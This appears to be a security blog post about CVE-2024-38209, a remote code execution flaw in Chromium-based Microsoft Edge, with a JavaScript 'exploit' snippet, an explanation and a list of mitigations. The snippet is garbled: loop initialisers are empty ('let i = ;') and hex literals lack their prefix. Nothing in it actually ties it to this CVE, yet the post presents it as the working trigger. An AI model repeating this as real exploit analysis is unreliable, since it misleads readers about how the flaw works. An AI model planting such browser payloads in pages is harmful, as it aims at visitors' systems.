CVE-2024-38209 - Microsoft Edge (Chromium-based) Remote Code Execution Vulnerability: A Deep Dive Into the Exploit and Its Mitigations

In today's world of evolving technology, ensuring the security of our applications and information is crucial. With this in mind, we present an exclusive, in-depth look at the recently discovered Microsoft Edge (Chromium-based) remote code execution vulnerability. Tagged as CVE-2024-38209, this security issue is a major concern for users and developers alike.

In this long read, we will delve into the technical details of the vulnerability, understand the code snippet that triggers this exploit, provide links to the official references, and discuss possible mitigations to prevent potential attackers from exploiting this loophole. Let's get started!

The Vulnerability

CVE-2024-38209 pertains to a remote code execution vulnerability in the Chromium-based version of Microsoft Edge. An attacker who successfully exploits this vulnerability could potentially gain the same user rights as the target user, allowing them to execute arbitrary code on the target system. This could lead to data theft, unauthorized modification of data, and even a total system compromise.

For more details about this vulnerability, you can refer to the official CVE record here

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-38209

Code Snippet

The root cause of this vulnerability lies in the mishandling of specific scripts by Microsoft Edge. Due to improper input validation and memory management, it is possible for an attacker to craft a malicious script that triggers this exploit.

Here is an example of the code snippet that could be used in a malicious website or a bundled ad

<script>
  function exploit() {
    let evilArray = new Array(x10000);
    for (let i = ; i < evilArray.length; i++) {
      evilArray[i] = new ArrayBuffer(xffff);
    }

    let targetArray = [];
    for (let i = ; i < x100; i++) {
      targetArray.push(document.createElement('div'));
      targetArray[i].addEventListener('click', function() {
        for (let j = ; j < x100; j++) {
          evilArray[j] = null;
        }
      });
    }

    for (let i = ; i < evilArray.length; i++) {
      let x = new Float64Array(evilArray[i]);
      for (let j = ; j < x.length; j++) {
        x[j] = x41414141;
      }
    }
  }

  exploit();
</script>

Exploring the Exploit

This vulnerability specifically targets users with Chromium-based Microsoft Edge browser. The attacker would need to host a specially crafted website containing the exploit code snippet (shown above) or inject the code into a legitimate web page (via malicious ads, for example) to execute the exploit.

Once the user visits the malicious website, the exploit code will execute. It works by first creating a large array (evilArray) containing ArrayBuffer objects of a specific size. Next, it creates a second array (targetArray) and populates it with 'div' elements that have event listeners attached to them. Upon clicking any 'div' element, a callback function deallocates the memory occupied by the malicious ArrayBuffer objects.

Finally, it iterates through the evilArray and overwrites the contents of the ArrayBuffer objects with malicious data. This leads to memory corruption and can potentially allow the attacker to execute arbitrary code on the target system.

Mitigating the Vulnerability

Until an official patch is provided by Microsoft, users and system administrators can apply the following mitigations to limit the impact of CVE-2024-38209:

1. Use a different web browser: Since the vulnerability is specific to Microsoft Edge (Chromium-based), switching to an alternative browser could be a short-term solution. However, note that other Chromium-based browsers may also be affected.

2. Disable JavaScript: To prevent the execution of malicious scripts, users can consider disabling JavaScript in their browsers. However, doing so may severely impact the functionality of many websites.

3. Educate users about the risks of phishing and clicking on suspicious links: Since the exploit requires user interaction (e.g., visiting a malicious website), educating users about the importance of avoiding suspicious links and verifying the legitimacy of websites can help reduce the risk of exploitation.

4. Keep your browser and operating system updated: Apply all available updates for your browser, plugins, and operating system to ensure that known vulnerabilities are patched.

Microsoft is actively working on a fix for this issue, which will be available through their regular update process. Users are advised to monitor official Microsoft channels for updates and apply the fix as soon as it becomes available.

Conclusion

CVE-2024-38209 is a serious vulnerability that poses a threat to users of Microsoft Edge (Chromium-based). By understanding the technical details of the exploit and employing appropriate mitigations, users can reduce the risk of this security issue and ensure that their systems are protected against such attacks. Stay informed and keep your systems up-to-date to maintain a strong security posture!

Timeline

Published on: 08/22/2024 23:15:07 UTC
Last modified on: 10/16/2024 01:53:20 UTC